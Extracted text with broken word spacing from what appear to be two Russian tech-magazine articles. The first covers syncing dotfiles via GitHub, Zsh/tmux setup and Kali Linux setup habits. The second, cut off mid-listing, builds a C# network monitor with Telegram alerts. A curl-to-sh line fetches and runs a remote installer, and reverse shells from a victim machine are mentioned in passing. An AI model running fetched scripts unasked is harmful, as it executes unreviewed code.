тные  пути  для  хра нения  сво их  кон фигура цион ных  фай лов,  поэто му  сов сем
нес ложно  соз дать  пер сонали зиро ван ную  кол лекцию  нас тро ек  для  раз ных
прог рамм  и  вос ста нав ливать  их  от  одно го  деп лоя  опе раци онной  сис темы
к дру гому.

статью

Эта кон цепция ста ра как мир и носит наз вание «дот фай лы» — фай лы, наз‐ 
вания которых начина ются с точ ки, а так как боль шинс тво кон фигов в ник сах
и прав да начина ются с точ ки (что бы стать скры тыми и не мозолить гла за юзе‐ 
ру в выводе  ), то все впол не логич но.ls

Удоб нее  все го,  на мой  взгляд,  орга низо вать  хра нение  дот фай лов  в  сис‐ 
теме  управле ния  вер сиями  (CVS),  что бы  мож но  было  кло ниро вать  репози‐ 
торий  одним  дей стви ем  при  нас трой ке  новой  сис темы.  Одна ко  это  нак‐ 
ладыва ет опре делен ные  усло вия на  то,  чт смо гут  содер жать  твои  кон фиги,
так как нель зя забывать, что CVS — шту ка пуб личная.

При ват ными репози тори ями поль зовать ся бес смыс ленно — это убь ет все
пре иму щес тва такой орга низа ции дот фай лов: нап ример, их не повытас кива‐ 
ешь  из  скрип тов  по  отдель нос ти  без  токенов  авто риза ции.  Кто‐то  может
исполь зовать  обла ка  для  более  удоб ной  син хро низа ции,  что бы  избе жать
мил лионов пушей по  каж дой мелочи. В любом слу чае это воп рос вку са, и  в
этой  статье  я  покажу  один  из  спо собов,  как мож но  хра нить  свои  нас трой ки
на GitHub.

Итак, у меня есть два репози тория.
Пер вый  —    —  кон фигура цион ные  фай лы  для  при ложе ний

на Linux.
dotfiles‐linux

Вет ки master и wsl репози тория dotfiles‐linux

Вто рой  —    —  кон фигура цион ные  фай лы  для  при ложе ний
на Windows.

dotfiles‐windows

Вет ка master репози тория dotfiles‐windows

В пер вом репози тории две вет ки:   и  . Вет ка   отве чает за вер сии
дот фай лов,  которые  я  исполь зую  во  вто ром  репози тории  для  пер сонали‐ 
зации Windows Subsystem for Linux. Ког да при нас трой ке вин ды я заметил, что
ник совые  кон фиги не получа ется юзать для WSL  «в  чис том виде»,  то решил
вес ти отдель ную вет ку, которую поз же вклю чил в   в качес‐ 
тве  .

master wsl wsl

dotfiles‐windows
под модуля
Ре зуль тат такой: ког да я раз ворачи ваю дот фай лы на новой сис теме с Win‐

dows, я дол жен выпол нить изнутри WSL сле дующие коман ды.

 

 

cmd.exe /C "echo %USERPROFILE%" | tr ‐d 
"\r"
~$ WIN_DOTFILES_DIR="$(wslpath

)/.dotfiles"

Пер вым дей стви ем с  помощью  ,  который  резол вит  пути меж ду  хос‐ 
товой  ОС  и WSL,  я  соз даю  перемен ную  с  име нем  дирек тории,  куда  я  кло‐ 
нирую репози торий с моими дот фай лами для Windows. В моем слу чае дирек‐ 
тория будет называть ся  .

wslpath

/mnt/c/Users/snovvcrash/.dotfiles

 

 

~$ git clone https://github.com/snovvcrash/dotfiles‐windows "${WIN_DOT‐
FILES_DIR}"

Да лее я выкачи ваю   по это му пути.dotfiles‐windows

 

 
~$ ln ‐sv "${WIN_DOTFILES_DIR}/wsl" ~/.dotfiles

Пос ледним дей стви ем я соз даю сим воличес кую ссыл ку в фай ловой сис теме
WSL.  Она  будет  ука зывать  на  под модуль 

, который мы заберем с гита, как показа но ниже.
/mnt/c/Users/snovvcrash/.dot‐

files/wsl

 

 

 /mnt/c/Users/snovvcrash/.dotfiles$ git submodule update ‐‐init ‐‐remote
/mnt/c/Users/snovvcrash/.dotfiles$ git submodule foreach "git checkout 
$(git config ‐f $toplevel/.gitmodules submodule.$name.branch || echo 
master)"

Здесь  я  ини циали зирую  git‐под модуль  для  дан ного  репози тория  на  осно‐ 
вании  нас тро ек  ,  а  потом  вос ста нав ливаю  стейт 
для всех под гру зив шихся под модулей, так как по дефол ту они выкачи вают ся 

.

.gitmodules detached  HEAD
с

отва лен ными голова ми
Ес ли инте рес но нас тро ить такую же схе му, как у меня, это мож но сде лать

с помощью одной коман ды,  которая добавит под модуль    в  твой репози‐ 
торий дот фай лов из сущес тву юще го ремо ута.

wsl

 

 

/mnt/c/Users/snovvcrash/.dotfiles$ git submodule add https://github.com/
snovvcrash/dotfiles‐linux wsl

Ре зуль тат  такой  же,  как  если  бы  я  вруч ную  изме нил  кон фиг 
с помощью  .

.gitmodules
git config

 

 

/mnt/c/Users/snovvcrash/.dotfiles$ git config ‐f .gitmodules submodule.
wsl.branch wsl

Про кон цепцию хра нения дот фай лов погово рили, а что же, собс твен но, мож‐ 
но в них хра нить? Я оста нов люсь толь ко на нес коль ких тул зах, которы ми пос‐ 
тоян но поль зуюсь в Linux: опи сание все го, что там лежит, может рас тянуть ся
на дол гие часы.

ZSH
С  какого‐то  момен та  я  перес тал  вос при нимать  Bash  как  шелл,  в  котором
мож но ком фор тно работать. Да, разуме ется, если жизнь зас тавит (осо бен но
если это реверс‐кон нект с машины‐жер твы), мож но юзать и обыч ный 
без  авто допол нения,  исто рии  и  управля ющих  сим волов.  Но  даже
реверс‐шелл  мож но  довес ти  до  ума,    его  до  PTY,  чего  уж
говорить о дефол тной обо лоч ке на сво ей машине. Поэто му я исполь зую  .
Не    о  нем  толь ко  ленивый,  так  что  сра зу  перей дем  к  минималь ному
набору при ятностей, нуж ных, что бы удоб но с ним сущес тво вать.

/bin/sh

про апгрей див
Zsh

пи сал

Oh My Zsh
В  пер вую  оче редь  это,  конеч но  же,  фрей мворк  ,  поз воля ющий
игра ючи управлять допол нени ями и пла гина ми Zsh. Маст‐хэвом я счи таю 

 для под свет ки син такси са команд в  тер минале и 
 для пред ложения авто завер шения команд на осно ве тво ей исто‐ 

рии. Уста нов ка сво дит ся к выпол нению трех прос тых дей ствий, пос ле которых
нуж но перело гинить ся, что бы изме нения возыме ли эффект.

Oh  My  Zsh
zsh‐

syntax‐highlighting zsh‐auto‐
suggestions

 

 

 

 

 

$ apt install zsh ‐y && sh ‐c "$(curl ‐fsSL https://raw.githubusercon‐
tent.com/robbyrussell/oh‐my‐zsh/master/tools/install.sh)"
$ git clone https://github.com/zsh‐users/zsh‐syntax‐highlighting.git ${
ZSH_CUSTOM:‐~/.oh‐my‐zsh/custom}/plugins/zsh‐syntax‐highlighting
$ git clone https://github.com/zsh‐users/zsh‐autosuggestions ${ZSH_CUS‐
TOM:‐~/.oh‐my‐zsh/custom}/plugins/zsh‐autosuggestions
$ sed ‐i 's/plugins=(git)/plugins=(git zsh‐syntax‐highlighting zsh‐auto‐
suggestions)/g' ~/.zshrc

Про темы и промпт темы robbyrussell
Zsh  не  Zsh  без  цве тас того  пром пта,  одна ко  боль шая  часть  кас томных  тем
слиш ком  наг ружа ет  интер пре татор,  и  появ ляет ся  input  lag.  Что бы  это го
не было, я исполь зую дефол тную тему с одним изме нени ем: ту часть пром пта,
в которой отра жает ся текущая рабочая дирек тория, я нас тро ил так, что бы она
отра жала две родитель ские пап ки «назад» и корень, потому что по умол чанию
тема    показы вает  толь ко  одну  пап ку.  Таким  обра зом  ты
не допус тишь засоре ния экра на при работе в «длин ной» дирек тории, но всег‐ 
да будешь в кур се, где сей час находишь ся.

robbyrussell

 

 

 
$ cp "$ZSH/themes/robbyrussell.zsh‐theme" "$ZSH_CUSTOM/themes/robbyrus‐
sell.zsh‐theme"
$ echo '[*] replace "%c" with "%(4~|%‐1~/…/%2~|%3~)" in "$ZSH_CUSTOM/
themes/robbyrussell.zsh‐theme"'

Те перь если заменить   на    в фай ле 
, то все будет по пла ну.

%c %(4~|%‐1~/…/%2~|%3~) $ZSH_CUSTOM/
themes/robbyrussell.zsh‐theme

Де фол тный vs модифи циро ван ный промпт темы robbyrussell

Source it!
Пос ледним  дей стви ем  я  добав ляю  нас трой ки  source  внеш них  дот фай лов,
которые лежат в пап ке  , в кон фиг  .~/.dotfiles/system .zshrc

# ~/.zshrc
...
# Resolve DOTFILES_DIR
if [ ‐d "$HOME/.dotfiles" ]; then
   DOTFILES_DIR="$HOME/.dotfiles"
else
   echo "Unable to find dotfiles, exiting..."
   return
fi
# Source dotfiles
for DOTFILE in "$DOTFILES_DIR"/system/.*; do
   [ ‐f "$DOTFILE" ] && . "$DOTFILE"
done

Там в основном опре деле ны допол нитель ные перемен ные для экспор та, сис‐ 
темные али асы, нас трой ки вир туаль ных сред (для Python) и тому подоб ное.

TMUX
Я боль шой фанат  . Это и прав да очень удоб ная шту ка, которая помога ет
оста вать ся орга низо ван ным при одновре мен ной работе с нес коль кими сес‐ 
сиями. Для нас трой ки tmux тоже есть туча опций, как и для прак тичес ки любой
линук совой ути литы.

tmux

На мой сетап мож но   на GitHub, а вжи вую он выг лядит при мер‐ 
но так.

пос мотреть

Tmux на тер минале WSLtty

Из необыч ного здесь толь ко   в пра вом ниж нем углу, на которой висят
монито ры  сис темных  ресур сов.  Уста нав лива ется  она  отдель но,  поэто му  я
свел  про цесс  нас трой ки  tmux  в  неболь шой  скрипт  (пред полага ется,  что
дирек тория   со всем необ ходимым уже сущес тву ет в тво ем домаш‐ 
нем катало ге).

па нель

.dotfiles

#!/usr/bin/env bash
sudo apt install wget git xclip ‐y
rm ‐rf ${HOME}/.tmux*
git clone "https://github.com/tmux‐plugins/tpm" ${HOME}/.tmux/
plugins/tpm
ln ‐sv ${HOME}/.dotfiles/tmux/.tmux.conf ${HOME}/.tmux.conf
git clone "https://github.com/thewtex/tmux‐mem‐cpu‐load" ${HOME}/.
tmux/plugins/tmux‐mem‐cpu‐load
cd ${HOME}/.tmux/plugins/tmux‐mem‐cpu‐load
cmake .
make
sudo make install
cd ‐

TILIX
Ес ли ты так же, как и я, влю бишь ся в tmux, то тебе понадо бит ся минима лис‐ 
тичный  тер миналь ный  эму лятор,  не  перег ружен ный  лиш ними фичами  вро де
соз дания новых вкла док, хот кеев на copy‐paste (так как в tmux у нас все свое)
и стран ной реак ции на нажатие пра вой  кноп ки мыши. С этим проб лематич‐ 
нее,  так  как прак тичес ки все,  что я про бовал,  уже было заточе но под «свою
атмосфе ру»,  где  «тмук су»  были  не  слиш ком  рады.  В  ито ге  я  оста новил ся
на   для Linux и   для WSL.Tilix WSLtty

Tilix в кон фигура ции «из короб ки» не попада ет под опре деле ние минима‐ 
лис тично го  тер минала,  одна ко  в  отли чие  от  дру гих  тер миналов  все  его
наворо ты  (авто допол нение,  панели,  вер хние  менюш ки)  мож но  отклю чить
в  нас трой ках.  В  ито ге  я  оста новил ся  на  голом  окне  без  рамок  с  эффектом
проз рачнос ти и пол ностью доволен резуль татом.

Tmux на тер минале Tilix

st
Был пери од, ког да я экспе римен тировал с   st, но как‐то не срос лось.
Может, сам он и уль тра мини малис тичный, но вот толь ко для него нуж но пос‐ 
тавить немало зависи мос тей, которых ко все му про чему может не ока зать ся
в дефол тном репози тории. Проб ный кон фиг вмес те со скрип том для сбор ки
мож но най ти  .

фор ком

здесь

ЛАЙФХАКИ ПО НАСТРОЙКЕ KALI
Ког да дела ешь что‐то с завид ной регуляр ностью, то волей‐неволей выраба‐ 
тыва ешь  для  себя  методи ку,  которой  ста раешь ся  при дер живать ся  в  даль‐ 
нейшем. Вот мои рутин ные дей ствия при уста нов ке Kali, как в слу чае 

, так и на железо.
с уста‐ 

нов кой на ВМ
  Если  ста вим  на  ВМ:  отклю чить  сис тему  управле ния  питани ем,

что бы машина не ухо дила в сон и не лочила экран. Для меня это обя затель ная
опция, потому что час то работа ешь с активной Kali на фоне.

Пер вое.

  Если  ста вим  на  ВМ:  нас тро ить  парал лель ную  работу  сетевых
интерфей сов. Обыч но  у меня  вклю чены  три  сет ки  на  вир туал ке  (в 
VirtualBox): NAT, внут ренняя сеть и вир туаль ный адап тер хос та.

Вто рое.

тер минах

С завод ски ми нас трой ками Kali  не поз воля ет исполь зовать  все  кон некты
одновре мен но — NetworkManager не раз реша ет. Одна ко если делеги ровать
пол номочия  управле ния  сетью  на  ста рин ный  ,  то  обес печить
одновре мен ную работу сетевых интерфей сов мож но, задав соот ветс тву ющие
нас трой ки в  .

ifconfig

/etc/network/interfaces

$ cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# NAT
allow‐hotplug eth0
iface eth0 inet dhcp

# Internal
allow‐hotplug eth1
iface eth1 inet dhcp

# Host‐only
allow‐hotplug eth2
iface eth2 inet dhcp

# The loopback network interface
auto lo
iface lo inet loopback

Пос ле  это го  под нима ем  каж дый  из  ука зан ных  интерфей сов,  and we’re  good
to go!

 

 

 
 

$ ifup eth0
$ ifup eth1
$ ifup eth2

В теории это мож но сде лать через нас трой ку сетевых про филей для Network‐
Manager, но я при вык по ста рин ке.

  Обновля ем  сис тему.  Если  вир туал ка  уста нов лена  у  тебя
на рабочей машине, вклю чен ной в домен, и ты не можешь вык лючить анти вир
на  пери од  обновле ний  (ибо  полити ка  не  раз реша ет),  то  нас тоятель но
рекомен дую вытяги вать апдей ты по HTTPS, что бы не стриг герить 9999 алер‐ 
тов со сто роны хос та. Для это го дос таточ но добавить бук ву   в   в фай ле

.

Третье.

s http
/etc/apt/sources.list

 

 

 
...Перехо дим на HTTPS по необ ходимос ти... 

 

$ sudo vi /etc/apt/sources.list

$ sudo apt update && sudo upgrade ‐y
$ sudo reboot

 На ВМ ста вим Guest Additions толь ко тог да, ког да что‐то из его
фич   работа ет: натив ное раз решение не под тягива ется либо не дей ству ет
drag’n’drop  или  общий  буфер  обме на.  В  про тив ном  слу чае  оставля ем  все
как  есть,  потому  что  обыч но  готовые  обра зы  содер жат  пре дус танов ленные
гос тевые  допол нения,  которые,  в  свою  оче редь,  очень  хруп кие  и  лома ются
от любого чиха.

Чет вертое.

не

  Реша ем,  под  каким  поль зовате лем  будем  работать.  С  пра вами
рута жить про ще, но нам ного опас нее, поэто му рекомен дую все же отка зать‐ 
ся  от  суперъ юзе ра  хотя  бы  в  том  слу чае,  если  Kali  была  уста нов лена
на железо. Одна ко, приз нать ся чес тно, на вир туал ках я про дол жаю работать
с повышен ными при виле гиями, так что на этом эта пе я задаю пароль для 
и отклю чаю дефол тно го юзе ра  .

Пя тое.

root
kali

 

 

 
 

...Перело гини ваем ся как root... 

kali@kali:$ sudo ‐i
kali@kali:$ passwd root

root@kali:$ usermod ‐L kali && usermod ‐s /sbin/nologin kali && chage ‐
E0 kali

  Если  работа ешь  под  обыч ным  юзе ром,  мож но  прод лить  вре мя
тайм‐аута на ввод пароля для sudo. Опци ональ но и может быть кем‐то рас‐ 
ценено как небезо пас ная нас трой ка, поэто му здесь на твое усмотре ние.

Шес тое.

 

 

 
... 
Defaults    env_reset,timestamp_timeout=45 
...

$ sudo visudo

 Уста нав лива ем  , так как он понадо бит ся для сбор ки соф та,
и дер гаем свои кон фиги с GitHub.
Седь мое. cmake

 

 

 $ sudo apt install cmake ‐y
$ git clone https://github.com/snovvcrash/dotfiles‐linux ~/.dotfiles

Пос ле  все го  это го  мож но  быс тро  нас тро ить  то,  что  было  опи сано  выше,
и  идти  вер шить  великие  дела.  Что бы  не  вби вать  коман ды  по  одной,  я  наб‐ 
росал  нес коль ко  темати чес ких  ,  которые  выпол нят  необ ходимые
уста нов ки.

скрип тов
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ТРЮКИ

Ес ли тебе надо ели пос тоян ные обры вы свя зи и косяки про‐ 
вай дера, но субъ ективные оцен ки  типа «под виса ет» не вну‐ 
шают  доверия,  луч ший  выбор  —  записать  сос тояние  сети
в авто мати чес ком режиме. При чем для это го необя затель но
гонять Nagios,  который к  тому же не  так прост в нас трой ке.
Сегод ня мы напишем ути литу для монито рин га сети, которая
лег ко нас тра ивает ся и сох раня ет в жур нал RTT до задан ных
хос тов,  packet  loss  и  ско рость  соеди нения  (опци ональ но),
а логи летят пря мо в Telegram.

Ви нов ником  появ ления  этой  статьи  стал  уже  нес коль ко  месяцев  сбо ящий
интернет,  который  мне  пре дос тавля ет  единс твен ный  в  окру ге  про вай дер.
Увы, в мою дерев ню ничего, кро ме ADSL, не завез ли, и, судя по качес тву свя‐ 
зи,  и  тот  не  дошел  без  мно гочис ленных  скру ток.  Packet  loss  порой  доходит
до 60–70%, что уже ни в какие ворота не лезет. Поэто му я решил сам изме‐ 
рить  качес тво  свя зи,  дабы  ткнуть  про вай деру  под  нос  логи  вмес те  с  заяв‐ 
лени ем о рас торже нии догово ра.

ЗАДАЧИ
На ша цель — написать прос той сетевой монитор, что бы в фоновом режиме
отсле живать  глав ные показа тели в сети и сох ранять их для ана лиза. Думаю,
сбо ра  сле дующих  парамет ров  хва тит  с  головой,  а  если  тебе  понадо бит ся
что‐то еще, всег да мож но добавить (не забудь рас ска зать об этом мне).

 Прос то маст‐хэв для любой диаг ности чес‐ 
кой ути литы. Изме ряя пинг, мож но узнать так же и про цент потерь пакетов
(packet  loss),  и  коды  оши бок,  поз воля ющие  выяс нить,  что  имен но  не  так
с сетью. Нап ример,   озна чает, что сеть вро де
и есть, но адми нис тра тор какого‐то из про межу точ ных устрой ств не про‐ 
пус кает пакет. В общем, ана лизи ровать ста тус‐коды отве тов обя затель но.

• Пинг для задан ных хос тов.

Destination Prohibited

 Воз можна ситу ация,
ког да  хос ты  вро де  живы  и  откли кают ся  на  пинг,  DNS  работа ет,  а  дос туп
в  интернет  зак рыт  за  неоп лату.  Этот  тест  потен циаль но  поз волит  нам
выявить  недоб росовес тно го  про вай дера,  который  под делыва ет  отве ты
на пин ги, но не обес печива ет реаль ный кон нект.

• Ре аль ная воз можность под клю чений по TCP.

  Они  дол жны
отправ лять ся,  как  толь ко  соеди нение  вос ста новит ся.  Сооб щение
по‐хороше му  дол жно  вклю чать  рас ширен ную  инфу  о  пин ге  и  потерях
пакетов пос ле сбоя, а так же сос тояние HTTP‐кли ента.

• Уве дом ления  о  вре мени  даун тай ма  в  Telegram.

  Для  домаш ней  сети  с  нес табиль ным Wi‐Fi  это  осо‐ 
бен но  акту аль но.  Роутер  может  прос то  упасть  от  перег рузки  (нап ример,
оче ред ной  шко лоха кер  ломит ся  на  дырявый  WPS,  но  вмес то  взло ма
получа ется  DoS)  или  поп росту  не  выдер жать  всех  кли ентов,  которых
в  ином  «умном  доме»  может  быть  и  15,  и  20.  Короче,  роутер  в  любой
момент может  уйти  в  перезаг рузку,  а мы  будем  гре шить  на  про вай дера.
Это  нехоро шо,  поэто му  при  потере  свя зи  с  роуте ром  мы  не  будем  тес‐ 
тировать даль ше, а прос то подож дем, пока починят.

• Дос туп к роуте ру.

Це ли обри сова ны. Теперь детали реали зации.
Прог рамма  пред назна чена  для  дли тель ной  работы  в  фоновом  режиме.
Офор мим прог рамму как сис темный сер вис Windows.

•

Ес ли мы работа ем в фоновом режиме, ни кон соль ный интерфейс, ни тем
более GUI нам не нужен. Тем луч ше — мень ше кода.

•

Про вер ки  не  дол жны  силь но  наг ружать  канал,  ведь  будет  неком фор тно
работать.  Так  что  пос тоян но  флу дить  пин гами  мы  не  ста нем.  Отпра вим
оче редь из десят ка  пакетов раз  в минуту‐две,  и  хва тит.  Реже отправ лять
не име ет смыс ла — боль шинс тво непола док устра няют ся в  течение нес‐ 
коль ких минут, а мы хотим знать о каж дом сбое.

•

Воз можность  хра нить  отчет  в  JSON  и  выг ружать  CSV  для  изу чения
в Excel — с филь тра цией по дате соз дания.

•

Неп лохо  бы  прик рутить  воз можность  забирать  логи  по  сети  и  ски дывать
ста тис тику  на  цен траль ный  сер вер,  но  в  рам ках  демо  я  это го  делать
не буду.

•

Из это го сле дует, что нам понадо бит ся работа с JSON. Писать я буду на C#
и вос поль зуюсь модулем Json.NET.

WWW

Json.NET  —  популяр ная  и  прос тая  биб лиоте ка
для  работы  с  JSON.  Ска чать  ее  мож но  с  ,
а  при меры  исполь зования  лежат  на 

.

NuGet
сай те  про‐ 

екта

Продолжение статьи →
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КОДИМ
Для начала   с сай та Microsoft, если у тебя ее еще нет. Нуж‐ 
на под дер жка язы ка C# и NuGet (с вклад ки «Допол нитель ные ком понен ты»).

ска чай Visual Studio

Пер вым  делом  соз даем  новый  про ект  типа  «Кон соль ное  при ложе ние».
Мож но было, конеч но, реали зовать его в качес тве «Служ бы Windows», тог да
не  нуж но  было  бы  городить  кос тыли  для  регис тра ции  нашего  монито ра
как сис темной служ бы. Бонусом получи ли бы авто запуск. Жаль, что в слу чае
«шаб лонно го»  сер виса  мы  теря ем  ту  гиб кость  и  управля емость,  что  име ем
при руч ном управле нии.

Тип про екта «Служ ба Windows», если решишь им вос поль зовать ся

Го тово.  Теперь  —  алго ритм.  Алго ритм  работы  прог раммы  будет  прост.
Во‐пер вых, нуж но про читать нас трой ки. Они у нас будут в фай ле JSON рядом
с исполня емым фай лом. Во‐вто рых, надо соз дать и запус тить тай мер, что бы
неожи дан ные  задер жки  канала  не  мешали  нам  про изво дить  замеры  через
рав ные  про межут ки  вре мени.  И  в‐треть их,  надо  написать  код  сох ранения
резуль татов замеров. Поеха ли!

Спер ва  опре делим,  что  имен но  мы  смо жем  нас тра ивать.  Я  выб рал  сле‐ 
дующие парамет ры:

хост  и  порт,  до  которых  будет  про ходить  про вер ка  работос пособ ности
HTTP;

•

ко личес тво пакетов пин га и их тайм‐аут;•
за дер жка перед отправ лени ем сле дующе го пакета пин га;•
за дер жка  меж ду  сосед ними  изме рени ями  (та,  которая  опре деля ет,  раз
в сколь ко минут про вер ка);

•

вклю чить или вык лючить вывод сооб щений в кон соль (для отладки);•
хос ты, которые будем пин говать;•
IP роуте ра (что бы узна вать, не завис ли он). Ты спро сишь, зачем отдель но
IP роуте ра, если его мож но ука зать в общем спис ке адре сов для про вер ки,
и будешь прав. Раз ница  в  том,  что,  если прог рамма не обна ружит  свя зи
с  роуте ром,  осталь ные  хос ты  про верять ся  не  будут,  что бы  не  тра тить
ресур сы;

•

тайм‐аут для под клю чения по HTTP;•
мак сималь ный  уро вень  packet  loss,  при  котором  под клю чение  счи тает ся
нор маль ным.  Мне  приш лось  пос тавить  себе  10%,  так  как  5–7%  сов сем
не ред кость для моей дерев ни;

•

вы ход ной фор мат стро ки для CSV, если ты вдруг решишь отклю чить вывод
ненуж ных  стол бцов.  Приз наюсь,  я  уже  забыл,  зачем  мне  это  понадо‐ 
билось;

•

вы ход ной файл CSV, в который будут дописы вать ся резуль таты;•
воз можность отклю чить запись.•

static String       HTTP_TEST_HOST;
static int          HTTP_TEST_PORT;
static int          HTTP_TIMEOUT;
static int          PING_COUNT;
static int          PING_DELAY;
static int          PING_TIMEOUT;
static List<String> PING_HOSTS;
static int          MEASURE_DELAY;
static String       ROUTER_IP;
static bool         CUI_ENABLED;
static double       MAX_PKT_LOSS;
static String       OUT_FILE;
static bool         WRITE_CSV;
static String       CSV_PATTERN;
static String       TG_TOKEN;
static String       TG_CHAT_ID;
static bool         TG_NOTIFY;

Ду маю,  нет  смыс ла  рас писывать,  какая  перемен ная  за  что  отве чает,  я  пос‐ 
тарал ся дать им понят ные наз вания. Если что, можешь про читать ком мента‐ 
рии к коду (ссыл ка на GitHub — в кон це статьи).

С нас трой ками разоб рались, теперь добавим их заг рузку. Тут все прос то:
чита ем  файл,  скар мли ваем  его  Json.NET,  рас кла дыва ем  нас трой ки
по перемен ным.

Заг ружа ем нас трой ки

Те перь позабо тим ся о выводе CSV. Пос коль ку стро ка в кон фиге зада ет толь‐ 
ко  шаб лон  вывода,  заголов ки  стол бцов  нам  при дет ся  наз начить  самос‐ 
тоятель но. А так как мы хотим знать и резуль таты изме рений по каж дому хос ту
из спис ка, нужен цикл. Ниже — часть кода, которая отве чает за фор мирова‐ 
ние заголов ка таб лицы.

String CSV_HEADER = CSV_PATTERN
   .Replace("FTIME", "Snapshot time")
   .Replace("IUP", "Internet up")
   .Replace("AVGRTT", "Average ping (ms)")
   .Replace("ROUTERRTT", "Ping to router (ms)")
   .Replace("LOSS", "Packet loss, %")
   .Replace("MID", "Measure ID")
   .Replace("SEQ", "SeqID")
   .Replace("HTTP", "HTTP OK")
   .Replace("STIME", "STime");
foreach (var host in PING_HOSTS) {
    CSV_HEADER = CSV_HEADER.Replace("RN", $"RTT to {host};RN");
}
CSV_HEADER = CSV_HEADER.Replace("RN", ";;\r\n");

Те перь  неболь шое  пояс нение,  что  тут  про исхо дит.  Сна чала  мы  заменя ем
поч ти  все  иден тифика торы  в  стро ке  фор мата  на  их  челове кочи таемые  зна‐ 
чения. Поч ти — потому что  , обоз нача ющий конец стро ки, оста ется. Далее
в цик ле мы вот  таким нехит рым обра зом дописы ваем новые стол бцы, а под
конец зак рыва ем стро ку с помощью   и уби раем  .

RN

;;\r\n RN

Пар сим аргу мен ты и выводим справ ку

С этим кодом и так все понят но: пар сим аргу мен ты, если их нет — выводим
справ ку. Прог рамма зна ет четыре режима работы.
1. При запус ке без аргу мен тов. Прос то выводит справ ку и ждет, ког да поль‐ 
зователь ее про чита ет.

2. За пуск с   или  . Прог рамма запус кает ся и работа ет в фоновом
режиме, никуда не уста нав лива ясь.

­d ­­daemon

3. За пуск с   или  . Прог рамма так же не будет регис три‐ 
ровать сер вис, но и пря тать окно не будет, в отли чие от вто рого режима.
Прос то для запус ка пор татив ной изме рял ки с флеш ки.

­m ­­measure­once

4. Ре жим уста нов ки. Вой ти в него мож но с помощью парамет ров   или 
.  В  этом  слу чае  будет  зарегис три рован  сер вис,  а  прог рамма

переза пус тится как сер вис в режиме 2.

­i ­­

install

Об работ ка  этой  нес ложной  логики  пред став лена  на  скрин шоте  выше.
На этом под готови тель ная часть завер шена, дела ем логику изме рений.

Для  сох ранения  резуль татов  мы  догово рились  исполь зовать  JSON.  А  в
.NET мож но без проб лем сери али зовать в него клас сы и струк туры. Каж дый
снап шот  сос тояния  сети  содер жит  немало  информа ции,  так  что  давай  объ‐ 
явим  класс  для  хра нения  резуль тата  изме рения,  а  еще  луч ше —  струк туру,
пос коль ку класс исполь зует боль ше ресур сов, а вся его гиб кость нам не нуж‐ 
на. В ито ге струк тура, хра нящая резуль тат изме рения, выг лядит вот так:

struct net_state {
   public bool inet_ok;
   public bool http_ok;
   public Dictionary<String,int> avg_rtts;
   public double packet_loss;
   public DateTime measure_time;
   public int router_rtt;
   public long measure_id;
}

Флаг   опре деля ет,  удов летво ритель ное ли сос тояние сети при этом
изме рении, сог ласно нас трой кам из кон фига. Здесь будет  , если про‐ 
вален хотя бы один из тес тов: тест HTTP, сред ний пинг до всех хос тов боль‐ 
ше 0,75 тайм‐аута, packet loss боль ше мак сималь но допус тимого или роутер
ушел в офлайн.

inet_ok
false

Флаг   опре деля ет успех тес та HTTP‐кли ента. Если здесь  , то
соеди нение  дей стви тель но  мож но  уста новить.  Но  хит рые  про вай деры
при неуп лате могут под делывать тра фик HTTP для перенап равле ния на свою
стра ницу, что сле дует иметь в виду, если пин ги не про ходят, а HTTP говорит,
что все в нор ме.

http_ok true

Даль ше  мы  видим  сло варь  ,  в  котором  ука заны  сред ние  пин ги
до  каж дого  хос та  из  спис ка.  Адрес  хос та  здесь  слу жит  клю чом,  а  сред ний
резуль тат — зна чени ем;    показы вает  сред нюю потерю пакетов
на всех хос тах.

avg_rtts

packet_loss

Тут мы видим неболь шой недос таток схе мы: прог рамма дол жна померить
пинг  до  каж дого  хос та  из  спис ка  (пусть  их  будет  пять),  но,  если  мы  хотим
отпра вить каж дому десять пакетов с тайм‐аутом 3 секун ды, а ни один не дос‐ 
тупен, на все замеры уйдет 5 × 10 × 3 = 150 секунд,  что боль ше двух минут
меж ду пер вым и пос ледним изме рени ем.

Да и мы усло вились замерять каж дую минуту,  так что такую дли тель ность
замера  поз волить  нель зя.  Если  три  под ряд  пакета  пре выси ли  тайм‐аут
или вер нулся   или   хотя бы однажды,
даль ше мерить не име ет смыс ла. Запом ним это до момен та реали зации.

Destination Prohibited No such host

По ле   в пред став лении не нуж дает ся, а вот зачем нужен 
, ког да есть  , я сей час объ ясню. Параметр 

изме няет ся пос ледова тель но на еди ницу с момен та пер вого изме рения пос‐ 
ле  запус ка.  И  в  пап ке  со  снап шотами  эти  изме рения  выг лядят  как  оче редь
фай лов  с  име нами,  где  отли чает ся  толь ко  пос ледняя  циф ра.  В  общем,
это нуж но для облегче ния руч ной работы.

router_rtt mea‐
sure_id measure_time measure_id

Еще  нам  понадо бят ся  гло баль ные  перемен ные 
для хра нения ID пер вого резуль тата и   для поряд кового номера изме‐ 
рения  в  оче реди.  Теперь  объ явим фун кцию  про веде ния  изме рений.  Вот  ее
шаб лон:

start_measure_id
seq_id

private static void DoMeasures() {
   System.Timers.Timer _timer = new System.Timers.Timer();
   _timer.AutoReset = true;
   _timer.Interval = MEASURE_DELAY;
   _timer.Elapsed += delegate {
   };
   ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12
| SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
   httpc = new HttpClient();
   TgNotify("nmon is now running", true);
   _timer.Start();
   while (true) Thread.Sleep(1000000);
}

Тут все прос то: объ явля ем тай мер, нас тра иваем его и запус каем. А еще нас‐ 
тра иваем  HTTPS  —  тот  же  Telegram,  нап ример,  приз нает  толь ко  HTTPS.
Далее поток ухо дит в спяч ку (стро ка 14). Основное дей ствие раз ворачи вает‐ 
ся  в  обра бот чике  события  сра баты вания  тай мера  (делегат  в  6–9‐й  стро ках
этой врез ки). Туда мы и будем писать в даль нейшем.

Вна чале ини циали зиру ем объ ект снап шота, записав в него зна чение 
.  Далее  изме ряем  пинг  до  роуте ра  и  при  отсутс твии  кон некта

выходим, сде лав соот ветс тву ющую запись в лог.

mea‐
sure_id

net_state snapshot = new net_state();
snapshot.inet_ok = true;
snapshot.measure_id = start_measure_id++;
snapshot.measure_time = DateTime.Now;
Ping ping = new Ping();
// First, check if router is available
var prr = ping.Send(ROUTER_IP, PING_TIMEOUT);
snapshot.router_rtt = prr.Status == IPStatus.Success ? (int)prr.
RoundtripTime : PING_TIMEOUT;
if (prr.Status != IPStatus.Success) {
